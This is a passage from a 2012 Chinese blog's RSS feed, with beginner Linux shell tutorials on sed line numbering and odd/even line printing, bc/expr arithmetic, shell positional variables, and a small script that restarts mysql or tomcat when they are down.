u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">nl filename</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">[root@localhost ~]# sed = /etc/passwd|sed 'N;s/\n/:/' #可以指定分割符</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">1:root:x:0:0:root:/root:/bin/bash</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">2:bin:x:1:1:bin:/bin:/sbin/nologin</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">3:daemon:x:2:2:daemon:/sbin:/sbin/nologin</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">[root@localhost ~]# sed = /etc/passwd|sed 'N;s/\n/ /'</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">1 root:x:0:0:root:/root:/bin/bash</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">2 bin:x:1:1:bin:/bin:/sbin/nologin</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">14.打印文档奇数行(隔行输出)</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">sed 'n;d'</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">sed 'x;$!N;x'</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">sed -n 'p;n'</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">1</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">3</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">5</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">7</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">15.打印偶数行(隔行输出)</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">sed -n 'n;p'</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">sed '1d;n;d;'</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">2</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">4</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">6</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">8</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">16.用于计算的两个命令 bc expr</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">expr 2 + 3 两个数和运算符之间要有空格</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">[root@localhost ~]# date +%d-2|bc 前两天的日</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">18</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">计算的时候要有小数部分:</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">echo "2/8" |bc -l</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">echo $a*$b|bc</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">echo "scale=2; 2/8" | bc -l</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">awk 'BEGIN{printf "%.2f",2/8}' 可以指定保留小数点几位</span>&nbsp;<img src ="http://www.blogjava.net/kxbin/aggbug/376528.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kxbin/" target="_blank">kxbin</a> 2012-04-24 23:26 <a href="http://www.blogjava.net/kxbin/articles/376528.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>linux中shell变量$#,$@,$0,$1,$2的含义解释</title><link>http://www.blogjava.net/kxbin/articles/376527.html</link><dc:creator>kxbin</dc:creator><author>kxbin</author><pubDate>Tue, 24 Apr 2012 15:24:00 GMT</pubDate><guid>http://www.blogjava.net/kxbin/articles/376527.html</guid><wfw:comment>http://www.blogjava.net/kxbin/comments/376527.html</wfw:comment><comments>http://www.blogjava.net/kxbin/articles/376527.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/kxbin/comments/commentRss/376527.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kxbin/services/trackbacks/376527.html</trackback:ping><description><![CDATA[<span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">linux中shell变量$#,$@,$0,$1,$2的含义解释(jieshi):&nbsp;</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">变量说明(shuoming):&nbsp;</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">$$&nbsp;</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">Shell本身(benshen)的PID（ProcessID）&nbsp;</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">$!&nbsp;</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">Shell最后(zuihou)运 行(running)的后台Process的PID&nbsp;</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">$?&nbsp;</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">最后(zuihou)运 行(running)的命令的结束(jieshu)代码（返回(fanhui)值）&nbsp;</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">$-&nbsp;</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">使用(shiyong)Set命令设定的Flag一览&nbsp;</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">$*&nbsp;</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">所有(suoyou)参数列表。如"$*"用「"」括起来的情况(qingkuang)、以"$1 $2 &#8230; $n"的形式(xingshi)输出(shuchu)所有(suoyou)参数。&nbsp;</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">$@&nbsp;</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">所有(suoyou)参数列表。如"$@"用「"」括起来的情况(qingkuang)、以"$1" "$2" &#8230; "$n" 的形式(xingshi)输出(shuchu)所有(suoyou)参数。&nbsp;</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">$#&nbsp;</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">添加(tianjia)到Shell的参数个数&nbsp;</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">$0&nbsp;</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">Shell本身(benshen)的文件名&nbsp;</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">$1～$n&nbsp;</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">添加(tianjia)到Shell的各参数值。$1是第1参数、$2是第2参数&#8230;。&nbsp;</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">示例：</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">1 #!/bin/bash</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">2 #</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">3 printf "The complete list is %s\n" "$$"</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">4 printf "The complete list is %s\n" "$!"</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">5 printf "The complete list is %s\n" "$?"</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">6 printf "The complete list is %s\n" "$*"</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">7 printf "The complete list is %s\n" "$@"</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">8 printf "The complete list is %s\n" "$#"</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">9 printf "The complete list is %s\n" "$0"</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">10 printf "The complete list is %s\n" "$1"</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">11 printf "The complete list is %s\n" "$2</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">结果(jieguo)：</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">[Aric@localhost ~]$ bash params.sh 123456 QQ</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">The complete list is 24249</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">The complete list is&nbsp;</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">The complete list is 0</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">The complete list is 123456 QQ</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">The complete list is 123456</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">The complete list is QQ</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">The complete list is 2</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">The complete list is params.sh</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">The complete list is 123456</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">The complete list is QQ</span>&nbsp;<img src ="http://www.blogjava.net/kxbin/aggbug/376527.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kxbin/" target="_blank">kxbin</a> 2012-04-24 23:24 <a href="http://www.blogjava.net/kxbin/articles/376527.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>for循环+case的小脚本，监控程序状态并执行相关操作（转）</title><link>http://www.blogjava.net/kxbin/articles/376526.html</link><dc:creator>kxbin</dc:creator><author>kxbin</author><pubDate>Tue, 24 Apr 2012 15:23:00 GMT</pubDate><guid>http://www.blogjava.net/kxbin/articles/376526.html</guid><wfw:comment>http://www.blogjava.net/kxbin/comments/376526.html</wfw:comment><comments>http://www.blogjava.net/kxbin/articles/376526.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/kxbin/comments/commentRss/376526.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kxbin/services/trackbacks/376526.html</trackback:ping><description><![CDATA[<span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">#/bin/bash</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">set -x&nbsp;</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">HOSTS="mysql tomcat"</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">for myhost in $HOSTS</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">&nbsp; do</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">&nbsp; count=(`ps aux |grep $myhost |grep -v grep |wc -l`)</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">&nbsp; echo "$myhost"</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">&nbsp; echo "$count"</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">if [ $count -eq 0 ]; then&nbsp;</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">&nbsp; case $myhost in</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">&nbsp; tomcat)&nbsp;</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">&nbsp; cd /bin/</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">&nbsp; ./startup.sh</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">&nbsp; echo "tomcat has be down"</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">&nbsp; sleep 5</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">&nbsp; ;;</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">&nbsp; mysql)</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">&nbsp; /etc/init.d/mysqld start</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">&nbsp; echo "mysql has be down"</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">&nbsp; ;;</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">&nbsp; *)&nbsp;</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">&nbsp; echo "what&#8216;s the hell?"</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">&nbsp; ;;</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">esac</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">&nbsp; fi</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">done</span><br style="line-height: 25px; color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; " /><span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">set +x</span>&nbsp;<img src ="http://www.blogjava.net/kxbin/aggbug/376526.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kxbin/" target="_blank">kxbin</a> 2012-04-24 23:23 <a href="http://www.blogjava.net/kxbin/articles/376526.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>shell中EOF的用法（转）</title><link>http://www.blogjava.net/kxbin/articles/376525.html</link><dc:creator>kxbin</dc:creator><author>kxbin</author><pubDate>Tue, 24 Apr 2012 15:13:00 GMT</pubDate><guid>http://www.blogjava.net/kxbin/articles/376525.html</guid><wfw:comment>http://www.blogjava.net/kxbin/comments/376525.html</wfw:comment><comments>http://www.blogjava.net/kxbin/articles/376525.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/kxbin/comments/commentRss/376525.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kxbin/services/trackbacks/376525.html</trackback:ping><description><![CDATA[<span style="color: #424242; font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; ">Shell中通常将EOF与 &lt;&lt; 